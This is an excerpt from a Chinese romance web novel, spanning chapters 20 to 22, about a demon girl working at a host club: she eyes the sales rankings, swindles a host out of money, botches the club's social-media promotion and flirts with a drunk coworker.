浦真天忙活完,手搭在双腿上,在我旁边无所适从地坐着,也不玩手机,就干脆地发呆。 我继续刷手机,时间刚到19点,宗朔回消息了。 [宗贱朔人]:……睡过?头了 [宗贱朔人]:你在店里吗 我拿起?手机随手一拍,把浦真天呆愣的侧脸也拍了进去,直接发给他。 [世界第一恶魔大?人]:(照片) [世界第一恶魔大?人]:老板迟到为什么不扣工作? [宗贱朔人]:我的上班时间是20点,哪里迟到了 [宗贱朔人]:怎么有人上班还带仆人啊,放我的员工去休息室行吗,他们也是要化?妆的 [世界第一恶魔大?人]:那我为什么17点就要到? [世界第一恶魔大?人]:他自愿跟着我 [宗贱朔人]:因为你是员工 [世界第一恶魔大?人]:申请应聘老板 [宗贱朔人]:驳回 我不爽地放下手机,再抬眼时大?厅里已经没几个男公关了,浦真天还在我旁边坐着。 “你不去准备吗?” “……我马上就去。”浦真天犹豫着起?身,像是要服药一样,眉头紧皱,停留几秒后,还是起?身离开了。 他离开后,我放下手机也站起?身,打量整个空旷的大?厅,想?了想?,决定先巡视领地。 在宗朔来?之前,我要找个更好的位置,最好还把他藏起?来?的好东西找出来?,给自己找个窝囤东西。 我悄咪咪地在整个楼栋里巡视一圈,成功掌握整个地形。 首先,[极乐世界]分为三?层楼,第一层有迎客大?厅、休息室、厨房仓库和?办公室,二楼是一个个私人包厢,像是豪华ktv,装备齐全,应有尽有,而三?楼比下面两层空旷许多,规律地摆放着餐桌餐椅,像是进入某个宴会场地。 最顶层还有个天台,但是门被锁了,推不开。 只有三?层半楼高的建筑物在周边的高楼大?厦下显得格外突兀。 等我巡视完,大?厅里空无一人,应该全都?去了休息室。 宗朔还没到,问他永远都?是马上,我闲得无聊,眼珠一转,脚步迈向休息室,想?看看他们在做什么。 当上员工的第一天,我已经想?当大?地主了。 休息室位于大?厅后面的走?廊里,我走?过?去时,几个男公关靠着墙壁发消息,嘴里时不时发出诡异的夹子音。 再往里便能听到啪啪啪的声响,我探头往里面看去,室内光线明?亮,中间立着两排梳妆柜,四周也围满了,放眼看去像是有无数个男公关。 实际上只是坐在镜子前面的人,和?镜子里的倒影而已。 他们动作一致,啪啪啪地往脸上拍粉,画眼线时动作流畅,毫不吝啬地往脸上涂抹粉底液。 桌椅上堆满了衣服和?化?妆品,房间里没一个人说话,都?在安静地上妆。 我扫视一圈,没有看到哥哥和?浦真天的身影。 那他们去哪了? 我正思考着,忽然听到有人说话。 “谁的衣服啊,怎么放这?不知道有人要用椅子吗?” 他旁边的男公关撇了眼周围,笑着说:“看着像是去浦真天的。” “他人呢?” “应该在更衣间里。” 那人立马起?身,快步来?到更衣间门口,哐哐砸门,极其不耐烦地说:“快出来?把你的衣服收好。” 浦真天拉开门,领口的扣子还没系好,头发凌乱着,疑惑道:“可是我放的位置没人啊。” “但是我要用啊。”那人理直气壮。 浦真天默默收走?衣服,但那个男的还不肯松嘴,一个劲地抱怨着:“不要总是占别人的地方,等哪天给你丢了,你可别又说有人偷东西。” “……” 浦真天回到的位置上已经堆满了衣物,他踟蹰地站在原地,拎着衣服,最终放下手。 我没忍得住,开口道:“位置那么多,你为什么不换个地方坐呢?” 房间里的人吓了一跳,纷纷看向我。 男公关惊讶地看着我,下意?识露出营业微笑,但很快皱起?眉,“你是谁?现在还没到营业时间吧。” “我是新来?的员工。” 我强调道:“老板亲自应聘的,他说我想?干什么就干什么。” 后面是我自己加的。但不重要。 “……老板?”他刚想?说话,旁边的人拉了下他的衣角。 他很快收敛表情,换上笑脸,“我们说着玩呢,只是一点小事,他也不会介意?的,是吧?” 浦真天没说话,收拾完衣服往外走?,将他晾在一边,径直离开休息室。 我跟在他后面,重新回到大?厅里。 走?到没人的地方,他抿着唇,垂头丧气地说:“……你不该为我出头的。” 我耸了耸肩膀,“我只是看不惯他。” 像这种?嘴角在短剧里能活好多集,每集都?被打脸。 浦真天苦笑一下,说:“我已经习惯了,他们也不会多做什么的,不管他们就好了。” 我:“可是昨天你不是这样的。” 昨天还和?泉卓逸打起?来?了,三?言两语气得对方变成刺猬。 他摇头:“不一样。” “哪里不一样?” “你长大?就知道了。” 说这种?话,一般就是自己也解释不了。 他真的笨笨的。 几个男公关经过?我们,瞄了几眼,假装不经意?地移开视线,讨论道:“也不知道昨天的销量怎么样,这个月能不能升排名啊。” “我昨天有个大?单,肯定能升。” “什么时候轮到我晋级,来?个大?单立马就舒服了。” “先看吧,看了才?知道。” 我看着他们离开的身影,问:“他们要去看什么呀?” “……呃,就是销量榜。” 我眼睛一亮,立马跟着过?去。 浦真天拉住我,有些尴尬地说:“那个没什么好看的,别看。” “那我更要看。” 我飞快地越过?他,跑步追上那几个男公关,在走?廊靠近大?厅的那块区域,看到亮起?的屏幕。 原本以为是显示酒水价格的,没想?到是排行榜。 像是月考成绩表一样。 榜单的最上面是十个人的大?头照,照片下面写着一串数字,展示了夸张的卖酒的销量。 最上面赫然是宗朔的照片。 懒懒散散、一副困倦的模样,怎么也和?下面一串零的销量挂不上勾。 我眨了下眼,感?慨道:“原来?真是第一啊……” “要不然呢。” 懒洋洋的声音从后面响起?,一只手落在我的头上—— 作者有话说:虽然在连载,但我现在就想完结了,手速啊……! 接下来一段男公关观察实录,距离真正的大款出来还有十几章吧(不确定)《 》 20-30 第21章 我挥开?他的手, 转眼时,浦真天已经站在角落,像只流浪犬似的,远远地看着?我, 表情纠结为难, 不敢靠近。 我转头再次看向大屏幕。 [第一名:朔月] [销量:5437000] [第二名:天真] [销量:3795200] [第三名:沐昶] [销量:3480200] [第四名:贤] [销量:2845700] [第五名:Min] [销量:2064500] …… [第十名:白泉] [销量:1807100] 我来来回回地确认, 嘴巴变成圆形,难以置信地看向身后懒散的男人?,音量提高:“一个月赚500万?!” “嗯哼。” 我:“员工能分成吗?” 宗朔垂着?眼皮,语气依旧让人?不爽:“你能帮我照顾客户吗?” “也?不是不行。” 我摸摸下?巴, 思考要?是富婆爱上我,要?送我大别野怎么办,能不能多要?个花园呢…… 一只手打断我的想象, 宗朔只手遮天,盖住我的头顶,用力按了下?,“别做梦了, 老实做你的卫生吧。” 他领着?我往办公?室走,路过的男公?关崇拜地看着?他,时不时鞠躬打招呼,一路上听到好多个老板好, 我也?狐假虎威, 嚣张地跟在他身后, 朝叫老板的人?点头。 宗朔推开?门, 平地扔下?惊雷:“你想好自己要?做什么工作了吗?一下?午像只老鼠一样到处走来走去,怎么样,看出来你能干什么不?” 我瞬间警觉:“你怎么知道?” “监控。” 他摊开?手机, 无数个分屏正实时显示着?店里的画面?,轻描淡写?地说?:“怕你偷东西。” 我倒吸一口凉气,此人?真是阴险至极,竟然?还偷看监控,要?是我真做了什么,不就成了他的把?柄了? “你好毒。” 宗朔没有反驳,抬起下?巴,问:“说?吧,想做什么。” 我一脸真诚,认真地说?:“我帮你看办公?室,你就不用怕别人?偷东西了。” “最该防的人?好像就在这里吧。” “正所谓最危险的地方就是最安全的地方,最危险的人?也?是最安全的人?。” 宗朔:“……” “算了。你就待在这吧。” 他摆弄手机,脱口而出:“办公?室也?有监控。” 我转头看去,果然?看到黑色的监控摄像头,于是生气地抢了他的位置,掏出柜子里的地摊文学开?始看,一点也?不亏待自己。 他嘴角抽了抽,刚想说?话,门口有人?敲门。 “去吧,工作吧。” 我昂昂下?巴,颇为得意?地说?,“你可是要?赚钱给我发工资呢。” “你也?挺毒。” 他撩起头发,露出下?垂的眼睛,浑身带着?不想上班的颓废,但也?不得不接受现实。 宗朔离开?后,我彻底放飞自我,胃部装着?食物,玩手机的时候满脸笑容,手下?的触感温润,不知道什么牌子的办公?椅格外舒服,整个人?窝进去,像陷入了麻薯里。 玩着?玩着?,时间不知不觉来到24点。 办公?室里静悄悄,墙壁做了隔音,什么声?音也?听不到,转动椅子的声?响在房间里不断放大,像是向山谷里丢进一颗石子一样。 我打了个哈欠,开?始犯困。 刚开?始的兴奋劲过去,我收到几条朋友的消息,问我在做什么,暑假还出不出来玩,她们可以请我。 我告诉她们我找到工作的消息,约定好时间出去玩。 再过了一会,消息栏空荡荡,能聊天的人?不是要?睡了,就是在外面?工作。 我开?始感到无聊。 短视频好像没有以前那么有趣。 暑假已经走到尾巴,以前我还会担心作业,和朋友们一起熬夜,但现在我彻底没有事做了,解决吃饭的问题,也?解决了工作的问题,现在似乎什么也?不用愁。 手机也?就那么回事,只在有要?事时格外有趣。 一闲下?来,沉寂已久的欲望开?始抬头,让我想要?毁掉点什么,牙齿也?痒痒的,体内属于恶魔的一部分即将冒出,迫不及待地伸出爪子。 可恶……好想搞事啊! 我再也?坐不住,对着?屋里的监控比了耶,步伐飞快地跑出房间。 刚出门,声?响便像潮水般向我涌来,夜晚的大厅和记忆中一样。 各色人?坐在大厅中,举杯欢庆,男公?关刻意?贴在客人?耳边说?话,惹得对方哈哈大笑,酒杯盛着?金黄的液体晃动,融化了店里的灯光。 空气中漂浮着?蠢蠢欲动的情绪,虽然?我只吃爱,对于其它?情绪变化却也?很敏锐,不过大部分时间,我都没有时间去思考它?们,总是在忙着?找吃的、忙着?搞钱的路上。 如今我什么也?不愁了,就像人类吃饱了要找点活动,我也?要?找点事来消遣。 人?与人之间的互动让我着迷,比看短剧还好玩。 男公?关脸上总是带着?遮掩不住的谄媚和讨好,时不时又雄性激素发作,看向同伴的眼中藏着?不屑。 热闹的气氛下?,情绪暗流涌动。 可惜不能站在高处一览无余,风景更好。 我慢慢往旁边走,观察着?场上的每个人?,他们在喝酒,我也?在品尝这杯情绪的酒液。 虽然?不能饱腹,但能让我兴奋起来,像人?类喝酒一样。 我没看到哥哥和浦真天,猜想他们可能去了二楼,陪更高级的客人?,在一楼眼熟的只有昨天晚上遇到的男公?关们。 我的视线移动,倏地捕捉到一张熟悉的脸。 泉卓逸。 他像上次那样坐在靠近中心的那一桌,除了他还有四五个男公?关,全部围在两个衣着?精致的女人?身边。 其中一位对他很感兴趣,举起酒,要?看着?他喝,他低头啄了一口,挑起嘴角说?着?什么,逗得女人?笑出声?。 旁边的男公?关不甘示弱,探身去拿桌上的果盘,笑盈盈地要?喂女人?吃。 他们就这么跨过泉卓逸,用水果拉扯起来。 我看到泉卓逸的脸色一下?子臭了,咧开?嘴说?了句什么,女人?立马来哄他,关注力又回到他身上,旁边的男公?关嘴角僵硬一瞬,仍然?尽职尽责地吹捧着?。 他们这桌的战斗格外激烈,可能是因为客人?爱看,短短十分钟里表演了五次吃醋戏码,客人?开?心了,点单香槟塔,游离在座位间的男公?关立马行动,去吧台拿支架、拿酒。 根据我的观察,D类男公?关不仅卖酒,还当服务员,哪一桌点单,一般是他们行动,端酒送果盘,C类充当氛围组或者在座位上送吃送喝,B类距离客人?最近。 至于A类……我还没上二楼观察过。 怪不得不需要?服务员,男公?关本身就是服务员啊。 我了然?地点头,忽然?想起原来在门口见过守卫,出门看了眼,便看到他在和路过的女人?搭话,技术娴熟。 所以这家店所有人?都是男公?关。 除了我。 我一边思考一边往回走,在走廊上撞上了刚结束的泉卓逸,他叼着?一根烟,正在看手机。 我安静地靠近他,瞄向他的手机屏幕。 他正在进行网页搜索。 [提问:怎么才能让更多的女人?喜欢?] [:想让女人?喜欢很简单,首先要?帅,然?后要?学会装逼,抽烟、喝酒、开?摩托……一个都不能少,当初我在职高,就是凭借这些技巧,引得万千女生着?迷!] “抽烟……” 他喃喃自语道,吸口气,把?嘴里的烟拿了出来,我才发现那原来不是烟,而是一根长得像烟的糖。 泉卓逸抬起头,猛然?注意?到旁边站了个我,脏话脱口而出:“我草你爹——怎么是你?!” 他反应过来,维持冷脸强装镇静。 “你还敢来这,不怕浦真天又吃醋打人??” “那不是因为你欠揍吗。” 泉卓逸毫无自知之明,指着?自己震惊地说?:“——我?他才欠揍吧!” 说?完,他薅了下?头,掩盖住手机屏幕,说?:“……你不会又是来找我的吧?这次我可不会打折,对,我不伺候了。” 我早就等他问这句了,得意?地说?:“我是来工作的。” “工作?” 他诧异地看着?我,有些呆愣地说?,“你要?当男公?关?” 泉卓逸看着?我,半天反应不过来,浓密的眉毛皱在一起,像两只毛毛虫。 我觉得泉卓逸就像个绝望的文盲,比我还差的那种。 “你就骗吧,反正我不信了。” 他将手背在脑后,斜睨着?我,“上次你压根没想着?帮我,就看着?我被打。” “那不是因为你——” 泉卓逸恼怒地说?:“我不欠打!” 我盯着?他仍然?握着?在手里的糖,问:“你想学抽烟?” “……只是有点好奇而已。” “我可以教你。” 他挑起眉,眉骨钉上的光一闪而过,颇有几分桀骜不驯,“怎么教?” 我想了下?,随口胡诌个数:“学费五万。” “我的戒指才一万五,你学费敢收五万?!” 我立马改口:“那一万五吧。” 泉卓逸下?意?识点头,“行——不对,我为什么要?交钱学,而且我不学也?不会影响什么。” “抽烟的话,业绩说?不定会更高。” 我说?:“你也?不想一直当第十名吧。” 泉卓逸盯着?我,绿色的眼睛像是某种动物,不笑的时候有些阴郁,眉压眼气势凌然?。 “我才不在乎那个东西。”虽然?嘴上反驳,但他掏出手机,吊儿郎当地说?,“学费嘛,可以给,但你也?得加我个好友。” “最好再让浦真天知道。” 他笑得格外恶劣。 我:“五万块。” 他再次绷不住表情,“刚刚不是说?好一万五吗?!” 最后泉卓逸还是转了五万,我美?滋滋地把?宗朔那掏来的五块钱打火机递给他,郑重地说?:“学习抽烟首先要?会点火懂吗?” “然?后呢?” 我忙着?收钱,胡乱摆手道:“后面?的明天再教,你该去上班了。” 他狐疑地看我两眼,架不住有人?叫他,在离开?前,他用手指了下?我,左手比了个数钱的动作。 大概是让我记住他花钱了。 文盲就是好骗啊,怪不得能买到五金饰品。 我检查手机余额,差点没笑出声?。 还没欣赏够,手机弹出消息通知。 [宗贱朔人?]:别笑了 [宗贱朔人?]:回办公?室帮我拿个东西 这个家伙一直在偷偷监视我。 我疑神疑鬼地寻找监控,等看到黑色摄像头,愤怒地竖起中指。 今晚,我终于要?工作了。 起初我是不想的,但宗朔给了跑路费,我想着?还能去二楼看一眼,于是按照宗朔的指示回到办公?室,从?抽屉里拿出他指定的东西。 ——一瓶颜色金黄的酒。 看上去很贵,而且还藏在办公?室,肯定掺不了假,我偷偷闻了一下?,气味像花朵一样清香扑鼻,不知道尝起来是不是也?和花一样。 我拿着?酒上了二楼,沿着?走廊来到204。 还没敲下?去,门被人?从?里面?打开?。 宗朔依在门口,把?缝堵得死死的,看不清楚里面?的景象,只能听到有钱的笑声?,以及舒缓的鸟语音乐。 红光从?他身后挤出,染红了半张脸,宗朔耷拉着?眼皮,领口解开?几颗扣子,露出瘦削的锁骨,他伸出手,摊开?在我面?前:“给我吧,你今天的任务结束了。” 我一个劲地往里面?瞟,但他稳如泰山,甚至伸手推了下?我的额头。 “别看了,没啥好看的。” 我悻悻地收回视线,酒刚递过去,他立马关上门,不给我看的机会。 偷窥无望,我又去其他的门前,想偷听点秘密聊以慰藉,但隔音做得太好,什么也?听不见,最后只能可惜地下?楼。 还没走到楼梯口,旁边213的门打开?了。 哥哥推开?门,愣了一秒,很快将门掩上,抿着?唇从?我面?前走开?,视我为无物。 我抬起脚跟了上去,不解地问:“你在生气吗?” “……” 他不回答,依旧把?我当成空气。 他的长腿迈得很快,三两步拉开?距离,飞快地下?了楼,消失在我的眼前。 栾明到底在闹什么脾气? 我也?生气了,以后我要?叫他的名字,再也?不喊他哥哥了,最好把?他气死。 我就守在楼梯口,等他上来,再次视若无物地从?我面?前经过时,我大喊一声?:“栾明我讨厌你!” 然?后也?学他飞快地离开?。 等下?了楼,我很快把?这件事忘了,以至于下?班的时候,浦真天来找我,我的第一反应还是:哥哥呢? 浦真天小声?说?:“他提前回去了。” 我难以置信,“他真的疯了!” 我和浦真天面?面?相觑,最后组成被抛弃二人?组,在离开?的时候,泉卓逸在门口站着?,看到我们,他意?味不明地哼了声?,晃晃手机,留下?一句记得给我发消息后,甩袖走人?。 浦真天在遇到他的时候,自动切换成攻击模式,板着?脸冷硬要?素,但人?走后,又犹豫着?,露出有点可怜的姿态。 “……你真的加了他吗?” “对啊。” 我说?:“他给我转钱了。” “哦……” 浦真天拿起手机,看了我几眼,也?给我转了钱,说?:“以后想买什么可以告诉我,我、我努力给你买。” 但是他只转了一千,泉卓逸可是转了五万,而我选择全都要?。 当我把?这件事告诉他时,他沉默了,垂着?眼睛跟在我身后,看着?很可怜。 明明销量比泉卓逸高,他为什么看上去还是很穷?难不成是个吝啬鬼? 但从?外表来看,他可怜兮兮的,恨不得把?所有钱都给我。 难道……他还有两幅面?孔? 等回到家,桌上只有热腾腾的饭菜,哥哥不知道去向,房间里一片漆黑,但我还是能闻到房间里充盈着?的糖渍柠檬气息,溢散到房间的各个角落。 浦真天打他的电话,一直没人?接,在房间里找了一圈也?没人?,最后只有我们两吃饭。 因为今天吃得太饱,我敷衍地吃了两口,不顾浦真天的劝阻,飞快地进了房间。 进入房间后,我又开?始进行手机活动,在睡觉前也?要?刷点短视频,从?进门开?始,我一直能闻到柠檬味,浓郁地提醒着?我,哥哥在附近,他只是不愿意?出来而已。 小时候,在生气时,他也?喜欢找个地方躲起来,不过一般几个小时就好了,现在他长大了,要?多久呢? 客厅的灯关了,哥哥依旧没有回来。 但我知道他就在附近。 不会在我的床下?面?吧? 我想了想,掀开?被子往床下?看去,但下?面?空荡荡,除了灰什么也?没有,我又去打开?衣柜,依旧什么也?没看到。 柠檬锲而不舍地粘着?我,甚至越来越浓,让我无法忽视。 我凭借气味辩位的能力在距离接近就失效了,越近气味越分散,捕捉不到具体的方向。 我把?房间里翻了个遍,甚至连垃圾桶都看了。 最后,我放弃了,躺在床上开?始酝酿睡意?,浸泡在糖渍柠檬中,想像以前一样睡去。 但在真正睡着?前,我听到门被推开?的声?音,细小的、不易察觉的声?响,像是天花板偶尔会传来的声?响。 我睁开?眼睛,借助着?月光看到站在门口的人?。 “哥?”我困倦地喊他。 “……” 依旧没有回复。 我把?脸埋进枕头里,打了个哈欠,等着?他开?口或者靠近,像以前一样手伸进被子里,试探我的温度,再给我掖好被子。 但他只是站在门边,沉默的、无声?的。 他是个非常固执的人?。 自顾自地做所有认为对我好的事,自顾自地包揽我的生活,比连体婴还要?紧密。 我有点不懂他了。 他到底想要?做什么? 因为我去了[极乐世界]后生气得打算要?一辈子不和我说?话吗? 我也?是个有脾气的恶魔,虽然?以前我很少做出和他想法相左的事,我接受了他的照顾,在他的照顾下?变得更加懒惰,但现在,我要?七宗罪全面?发展,我是个叛逆的恶魔。 就像人?类所说?的青春期,我这个500岁的恶魔也?到了青春期,我要?叛逆! 我转了个身,用背对着?他,他不说?话,我也?不会说?话的!就看我们谁能熬了! 我叛逆地睡着?了。 也?不知道他是什么时候离开?、什么时候关上的门,我只知道我要?狠狠地无视他。 于是第二天,我老早便催促起浦真天,让他来不及吃饭,饿着?肚子跟我一起出门,至于栾明……他被我们孤立了! 浦真天夹在中间不好受,他很想劝我们和好,但我警告他,如果敢提起栾明,就连他也?一起孤立,他立马老实了,跟在我身后,当个安静的挂件。 我对付栾明的套路,也?是直接抄他,他出现在我面?前,我就走,要?做足姿态,一个眼神也?不给他,从?他身边过的时候,无师自通学会故意?找别人?说?话,就是为了在他面?前找存在感。 浦真天成了那个受害者。 他只能苦笑。 等他们去休息室准备,我失去乐趣,又开?始刷短视频,欣赏着?富人?生活视频,看着?看着?,我突然?想到个问题。 万一栾明不给我钱了怎么办? 他到底什么时候给我道歉,然?后我原谅他,再和好。 他在想什么? 我不知道。 于是,我莫名生出些多愁善感,颇为伤感地给宗朔发消息。 [世界第一恶魔]:错的是这个世界 [宗贱朔人?]:? [宗贱朔人?]:无聊就去干活 [宗贱朔人?]:去后厨弄点果盘,今天晚上的活动是买酒送果盘 我可是员工!我怎么不知道有这个活动? 像是早有预料,下?一条消息弹了出来。 [宗贱朔人?]:忘记给你说?了,活动早就安排好了的,每周会发布在媒体号上 [宗贱朔人?]:(链接) 我点进链接,被骚气的背景装饰给震慑了。 好复古……好奇葩! 配色是红黑金,店名是花哨的繁体字,简直是史前遗留物!在周一发布的活动表里,我看到了赠送果盘的活动,除此之外还有兔男郎主题活动、西幻主题活动……以及福瑞主题活动。 而今天则是最为简单的——客户回馈活动。 我看着?粉丝一千出头、花里胡哨的账号,陷入了沉思。 [世界第一恶魔]:好丑的页面? [世界第一恶魔]:还有这些活动真的能吸引到人?吗? [宗贱朔人?]:你不知道多着?呢 [宗贱朔人?]:不过这个账号确实被诟病很多次了,一直做不起来 [宗贱朔人?]:要?不然?你来 [宗贱朔人?]:每天玩手机总比我们这些老骨头会上网吧? 我来了兴趣,让他把?号发给我,然?后全然?忘记果盘的事,逮着?账号装修。 等更换完背景,我又有了新主意?。 作为一个冲浪高手,我出手就是一个起号教程。 [极乐世界V]:去酒吧只能喝宝宝酒,女友说?我傻傻的,以后只能把?我藏在家里,但公?公?说?能喝酒的男人?才有好精,我该怎么办?#男性教育 #女性消费 #网感 #好酒才有好精 #宝宝酒 #傻乎乎的我 我顺手@了账号里所有的粉丝,几分钟后评论?开?始上涨,平台莫名给了推流,各种评论?层出不穷。 我乘机拍了张现场的照片,为了让她们看清楚现场的模样,全方位展示产品质量,特地调亮画面?,然?后再评论?区里打起广告。 在点赞数达到1000时,我立马跑去邀功。 此时,男公?关早就开?始上班,宗朔也?应该去了二楼,没有立即回我的消息,过了半个小时,消息提示才弹出。 [宗贱朔人?]:…… [宗贱朔人?]:我给钱,你赶紧删了吧 他给我转了几万块钱,我疑惑地收了,心想效果很好啊,点赞和评论?还在节节攀升呢。 结果点开?评论?区。 [2oioi]:妈呀哪来的丑男,这也?能当男公?关? [momo]:愿世界不原谅恋丑癖 [我不吃瑞士卷]:炸裂标题炸裂照片,以为全是鬼,没想到是男公?关…… [发现帅的眼睛]:其实也?有帅的,但是太难找了 [用户64537shfb]:避雷吧,感觉全是劣精 …… 我觉得问题不大。 [世界第一恶魔大人?]:主要?是照片的原因,我去拍个排行榜 刚好上面?有照片,能突出本店最好的品质。 [宗贱朔人?]:别 [宗贱朔人?]:不是所有人?都愿意?出镜 [世界第一恶魔大人?]:怎么会?谁不愿意?,我去劝他,作为员工要?团队作出贡献 [宗贱朔人?]:你哥 [宗贱朔人?]:去劝吧 我看着?手机上的两个字,再次郁闷起来。 他还没找我道歉呢,我才不要?去找他。 我删除了动态,又开?始躺着?开?摆,继续观察一楼的男公?关生态。 看着?看着?,我觉得网友说?得对,有些男公?关看着?确实很渗人?,尤其是我调亮了照片,让氛围感全部消失,只剩下?丑了。 这时,一个眼熟的人?经过我面?前,现在还不知道名字,只知道他的下?颌线格外清晰。 我叫住他:“你今天没有客人?吗?” 他愣了下?,靠近我旁边,讨好地说?:“哎哟喂,我今天好可怜的,老板要?给我提升一下?业绩吗?” 他这声?老板叫得我很爽。 我呵呵一笑,冷然?道:“没有业绩要?想想自己的原因,别人?怎么就有业绩呢?” “硬件条件很难改变啊。” 他也?不恼,羡慕地说?:“我要?是能有他们那种脸,早就销冠了。” “整容风险很大,我害怕嘛。” 我:“那你为什么要?当男公?关?” “赚钱啊。” 说?起这件事,他来了兴趣,眼睛放光,开?始夸夸其谈:“你不知道,像我们这种人?,只能通过这种方式接触上层社?会,给她们提供情绪价值,靠她们手缝里掉下?的过活。” “就算长得丑,人?也?会享受被追捧的滋味,而且灯暗一点,也?可以忍啊。” 他忍不住说?:“其实二楼的那些才是真的有钱人?,我们压根看不到影子,听说?其中有人?晚上豪掷千金,给某个人?花了上百万呢。” “谁?” 他眼睛左右扫视,确认没人?后说?:“就是你认识的那一位,天真。” 我若有所思地点点头。 不远处有人?招手,他赶忙跑了过去。 我对二楼越来越好奇,有钱人?的生活就摆在我眼前,我也?想看看熟悉的脸上出现别的情绪的样子。 ……会不会更加美?味呢? 片刻后,我再也?坐不住,往楼上走去。 隔音做得太好,一点声?响也?没有,静悄悄的,楼下?的音乐声?隔得很远,进入二楼就像走进另一个世界。 我沿着?走廊往里走,看见监控便竖中指,在经过洗手间门口时,一声?虚弱的呕吐声?抓住我的耳朵。 我往里看去。 用水冲完脸、脸和脖子绯红一片的浦真天抬起头,视线穿过镜子,和我对视在一起—— 作者有话说:有人在监视……(默默地盯)(默默地盯) 哥哥再生气的话,浦就要上桌了…… ps本文有几个家里有钱、但是因为家庭原因,跑出来当男公关的!要问为什么,因为骨子里有卖的基因! 第22章 “小冬……?” 酒意熏出的红蔓延到眼下, 就像上次喝醉那样?,浦真天整个人醉醺醺的,但仍然强撑着,努力辨识着我, 含糊不清地说:“你?怎么上来了??” “回去吧, 这、这上面没什么好看的。” 他难受地揉着太阳穴, 又趴下反胃,背脊剧烈起伏,手臂撑在台面上,青筋更加凸起, 指节因为用力而泛白。 冲水龙头一直放着,哗啦啦地传来回响。 他这幅模样?仿佛回到那个晚上,让我想要做点坏事?。 浦真天直起身, 发现?我还在,晕头转向地问:“……怎么了??” 我盯着他,说:“我喜欢你?现?在的样?子。” 但这不符合我的审美?,我开始思考成为人类对我的审美?造成了?什么影响, 怎么开始对胸大的黑皮感兴趣了?? 浦真天迷茫地眨眨眼,水滴从脸颊滑下,眼睫毛耷拉着,像钻石的小水珠挂在上面, 闪闪发光。 他反应迟钝地抬起手, 擦拭脸颊滑下的水珠, 棕黑的发丝黏在额头上。 像听不懂一样?, 他虚眯着眼睛看我,身体前倾,努力想要辨别我的口?型:“什么?” 我走近一步, 来到洗手台前,拍了?下他的肩膀,示意他俯下身,在他耳边一字一句重复说:“我喜欢你?现?在的样?子。” 距离很近,近到能感受到他身上传来的阵阵热气,裹挟酒的气息,涌入鼻腔,像一块散发着热气的酒心棉花糖,吸引着我下嘴。 我还在思考他为什么能吸引我,像是诱人的蛋糕一样?源源不断吸引我的注意力。 他的皮肤是小麦色的,不同于我喜欢的白色,他的体型是壮硕的,胸部很大,浑身肌肉结实,最近努力减肥的痕迹只在脸上有?所体现?。 他不受控制地往后?仰,眼神飘忽。 大概……可能是因为我更好色了?。 以前我只能欣赏修长的男人,是因为身边只有?那种?体型,而壮硕一点的不是超雄就是疯子。 但浦真天像个很好掌握的人,可以随意揉扁搓圆,总是一团糟地出现?在我面前,局促又落魄。 即使有?棱角,也不会面向我。 所以我色心大发是有?理有?据的! 他偏头不敢看我,依旧晕头转向,眼睛虚眯着,身体不受控制往后?退,手仍然扶在洗手台上,暗暗捏紧。 “我听清楚了?。”他笑了?下,弯眸时粗粗的眉毛也跟着一起下移,红晕染到眼下,颇为憨厚,脸颊上的酒窝轻轻凹陷下去。 “谢谢。” “只有?谢谢吗?” 我兴趣大发,盯得他直往后?退,他退一步,我就上前一步,手撑在他旁边,执着地盯着他的眼睛,想要看他回避的模样?,“我还以为你?会再表示点什么。” 浦真天愣了?下,问:“……要钱吗?” 不仅要钱,我现?在还要图色。 我抓住他按在洗手台上的手,朝着眼前滴水的脸颊上咬了?一口?,舔舔嘴角,毫不掩饰地看着他,直白地说:“我还挺喜欢你?。” 消遣的方式有?很多,做O也是一种?,以前兴趣大发的时候,我有?让麦景给我舔,但只有?一次,因为他的技术太糟糕,给我弄疼了?。 浦真天整个人愣住了?,停顿片刻,猛然抽回手,像被冰封般冷醒,酒全醒了?,脸色甚至有?点发白,嘴唇蠕动,最后?化作一句:“我醉得有?点不清醒……先回去了?。” 浦真天丢下这句话,快步离开我面前,浓郁的棉花糖气味倾泻而出,但随着他的离开,很快变得稀薄。 我一头雾水地站在原地。 现?在的人类都喜欢玩反差吗?明明气味都这么浓了?,怎么还拒绝我?要是麦景早就跪下了?。 不对……麦景也跑了?! 洗手台上残留着水珠,证明我没有?在做梦,喝醉的人也不是我。 我抬头看向镜子,黑发黑眼的人类女性对我露出略带茫然的表情。 看着看着,我不由开始欣赏起来,在心里感慨起来,我还是这么好看啊,栾明长得几分像我就已经是前十?的销量。 想到栾明,我的气又多了?点,一个就算了?,现?在来了?三?个,人类要造反! 啪嗒啪嗒,脚步声突兀地响起。 有?人从男厕所走出,顶着一张精致的混血脸,像完全没看到我似的,自顾自地站在我的身旁,打开水龙头,开始洗手。 在洗手前,他把手上的戒指全部摘了?下来,甚至还在洗手台上垫了?张纸巾,才把?戒指放上去。 我看不顺眼,鄙视道:“都是五金的,有?必要这么珍惜吗?” “都说了不是假货!” 泉卓逸说完,想到什么,哽了?一下,紧接着补充道:“上次给你?的那个是意外,我也是被人骗了?,狗日的,他还不敢回我消息,等我下一次见到那个家伙,绝对要狠狠揍一顿!” 他嘀咕着,伸手接了?点洗手液,开始认认真真地洗手,但眼睛却时不时通过镜子投影来看我。 我看着他两只手搓来搓去,指节印着戒指留下的红痕,停不下来咬唇环,身上的链条轻声地响。 我抱着双臂,问:“你?听了?多久。” 泉卓逸洗手的动作顿住,哼笑一声,转过眸看向我,意味不明地说:“当然是全部都听到了。” “不得不说你?的眼光有?点差。” 他冲洗干净泡沫,甩了?甩手:“那种?土老帽哪有?喜欢的必要了?,放在大街上,没人能瞧得上。” 我脱口?而出:“可是他销量比你?高。” “那只是现?在——!” 泉卓逸恼怒地说,用手背擦了?下脸,臭着脸说:“要不是有?个女人捧他,他根本不可能是第二。” 我:“但他就是。” 泉卓逸顶了?下腮,抽纸擦手的力道格外用力,像是要宣泄所有?的怒气,等手干净了?,他开始戴戒指,一个接一个地套。 我疑惑地问:“你?为什么把?它们融在一起,只戴一根手指?” 他啧了?一声,说:“这是style,算了?,没法跟你?这个喜欢土老帽的讲话。” “我那个是喜欢他的身体好吧,他穿着西装哪里土了?。” “西装就是土。” 泉卓逸穿着松松垮垮的衣服,牛仔裤的破洞露出修长的腿,是伸进去就能摸到大腿的程度,身上的装饰品拼命地响,他动一下,响一下。 我捂住耳朵,挑衅道:“好吵的穿搭,难听。” “喂,你?遮住耳朵什么意思。” 他有?点恼怒地拉我的手,冰凉的指节触碰到手臂内侧,在碰上的一刻,泉卓逸停住了?,没有?用力,只是虚虚地圈着。 